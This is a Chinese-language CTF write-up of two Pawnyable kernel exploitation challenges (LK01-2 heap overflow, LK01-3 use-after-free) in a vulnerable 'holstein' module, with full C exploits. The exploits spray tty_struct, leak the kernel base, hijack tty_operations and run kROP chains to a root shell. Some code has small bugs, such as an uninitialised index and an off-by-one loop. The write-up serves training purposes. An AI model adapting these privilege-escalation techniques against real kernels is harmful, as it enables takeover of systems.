每周一pwn系列

LK01-2

基本信息

内核版本 5.15.0

  • run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
        -no-reboot \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user

    保护全开

  • init

    #!/bin/sh
    mdev -s
    mount -t proc none /proc
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    stty -opost
    echo 2 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    
    insmod /root/vuln.ko
    mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
    
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    echo "[ Holstein v2 (KL01-2) - Pawnyable ]"
    setsid cttyhack setuidgid 1337 sh
    
    umount /proc
    poweroff -d 0 -f

逆向分析

  • module_initialize

    注册了一个杂项设备 holstein

  • module_open

    申请了一块0x400的内存

  • module_read

  • module_write

  • module_close

    UAF

  • module_cleanup

    卸载设备

漏洞利用

没有对size进行任何限制,存在内核堆溢出

SLUB 的特性决定了只有大小相同的对象才会从同一个 kmem_cache 区域分配,0x400的大小,那么我的想法是对 tty_struct 进行堆喷射,泄露内核基址后劫持 tty_ops 函数表

劫持 ioctl 函数指针,断下来发现 r13 的值正好是 &tty_struct

这是个好gadget,能把rdx赋值给rsp

栈劫持到 fake_ops 上走krop即可

EXP

#define _GNU_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
#define RDI 0xffffffff810d748d + koff
#define RDX_RSP_PP 0xffffffff813a478a + koff

size_t koff;
size_t init_cred=0xffffffff81e37760;
size_t commit_creds=0xffffffff810744b0;
size_t prepare_kernel_cred=0xffffffff81074650;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81800e10;

size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[!] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <WIN>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein",O_RDWR);
	if (fd<0) errExit("DEV Opened Failed");
	
	
	int tty_fds[0x100];
	for (int i=0; i<=0x100; i++){
		tty_fds[i]=open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (tty_fds[i]<0){
			printf("[x] tty Opened Failed, Num: %d\n",tty_fds[i]);
		}
	}

	char buf[0x500];
	read(fd, buf, 0x440);
	size_t ops = *(size_t *)&buf[0x418];
	size_t koff = ops-0xffffffff81c38880;
	printf("[+] leak = 0x%lx\n", ops);
	printf("[+] koff = 0x%lx\n", koff);

	size_t leakheap = *(size_t *)&buf[0x438];
	size_t fake_ops = leakheap-0x438;
	printf("[+] leak2 = 0x%lx\n", leakheap);
	printf("[+] fake_ops = 0x%lx\n", fake_ops);
	
	*(size_t *)&buf[0x418]=fake_ops;
	*(size_t *)&buf[0x60]=(size_t)RDX_RSP_PP;


	size_t ropchain[0x10];
	int i;
	ropchain[i++]=RDI;
	ropchain[i++]=init_cred+koff;
	ropchain[i++]=commit_creds+koff;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+0x16+koff;
	ropchain[i++]=0;
	ropchain[i++]=0;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(buf+0x100, ropchain, sizeof ropchain);

	write(fd, buf, 0x440);

	for (int i=0; i<=0x100; i++){
		ioctl(tty_fds[i], 0, fake_ops+0x100-0x10);
	}

	//close(fd);
	return 0;
}

LK01-3

基本信息

内核版本 5.16.14

  • run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
        -no-reboot \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user
  • init

    #!/bin/sh
    mdev -s
    mount -t proc none /proc
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    stty -opost
    echo 2 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    
    insmod /root/vuln.ko
    mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
    
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    echo "[ Holstein v3 (KL01-3) - Pawnyable ]"
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    poweroff -d 0 -f

逆向分析

  • module_initialize

    注册了一个字符设备 holstein

  • module_cleanup

    正常地卸载设备

  • module_open

    从 kmalloc_caches[10] 中取出 object ,2的十次方就是0x400

  • module_read

    内核读,但是限制了大小

  • module_write

    内核写,但是限制了大小

  • module_close

    释放对象没置空指针,存在UAF

漏洞利用

UAF,0x400 喷射 tty_struct 即可

为了绕过SMEP和SMAP,我们需要构造kROP。与堆溢出相似的地方略去不谈。值得注意的是,现在使用的区域是与tty_struct重叠的。tty_operations有很多未引用的变量在tty_struct中,当我们触发时,由于破坏了其它结构可能会引起意想不到的的错误。因此我们想让ropchain在一个单独的区域。

  • 进行两次UAF,第一个UAF在tty_struct上写ropchain和布置函数表;第二个UAF改tty_struct.ops并触发。

放一张brant-ruan大佬的思路图:

EXP

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define POP_RDI_RET 0xffffffff8114078a+koff;
#define PUSH_RDX_POP_RSP_POP_RBP_RET 0xffffffff8114fbea+koff;
#define MOV_RDI_RAX_REP_MOVSQ_RET 0xffffffff81638e9b+koff;
#define POP_RCX_RET 0xffffffff8150b6d6+koff;

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/

size_t prepare_kernel_cred=0xffffffff81072560;
size_t commit_creds=0xffffffff810723c0;
size_t swapgs_restore_regs_and_return_to_usermode=0xffffffff81800e10;

size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus()
{
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg)
{
    printf("\0330xffffffff812f5003[1;31m[-] Error : %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

static void getRootShell(void)
{
	if (!getuid())
	{
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else
	{
		puts("\033[1;31m[-] <Get Root Error>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[])
{
	saveStatus();
	int fd1=open("/dev/holstein", O_RDWR);
	int fd2=open("/dev/holstein", O_RDWR);
	if ((fd1 || fd2)<0)
	{
		printf("/dev/holstein Open Failed\n");
	}

	close(fd1);

	int tty_fd1=open("/dev/ptmx", O_RDWR);//bss 0xffffffffc00023c0
	if (tty_fd1>0)
	{
		printf("[+] /dev/ptmx Opened\n");
	}

	char buf[0x400];
	read(fd2, buf, 0x100);
	size_t koff=*(size_t *)&buf[0x18]-0xc39c60-0xffffffff81000000;
	size_t heap=*(size_t *)&buf[0x38]-0x38;
	printf("[*] koff => 0x%lx\n",koff);
	printf("[*] ropchain => 0x%lx\n",heap);

	int i=0;
	size_t ropchain[0x40];
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=0;
	ropchain[i++]=prepare_kernel_cred+koff;
	ropchain[i++]=POP_RCX_RET;
	ropchain[i++]=0;
	ropchain[i++]=MOV_RDI_RAX_REP_MOVSQ_RET;
	ropchain[i++]=commit_creds+koff;
	ropchain[i++]=swapgs_restore_regs_and_return_to_usermode+koff+22;
	ropchain[i++]=0xdeadbeef;
	ropchain[i++]=0xdeadbeef;
	ropchain[i++]=(size_t)&getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	ropchain[0x30]=PUSH_RDX_POP_RSP_POP_RBP_RET;
	
	write(fd2, ropchain, sizeof(ropchain));



	int fd3=open("/dev/holstein", O_RDWR);
	int fd4=open("/dev/holstein", O_RDWR);
	if ((fd3 || fd4)<0)
	{
		printf("/dev/holstein Open Failed\n");
	}

	close(fd3);

	int tty_fd2=open("/dev/ptmx", O_RDWR);//bss 0xffffffffc00023c0
	if (tty_fd2>0)
	{
		printf("[+] /dev/ptmx Opened\n");
	}
	
	*(size_t *)&buf[0x18]=heap+0x30*8-0xc*8;//ops_ioctl
	write(fd4, buf, 0x20);
	ioctl(tty_fd2, 0, heap-8);

	return 0;
}

⬆︎TOP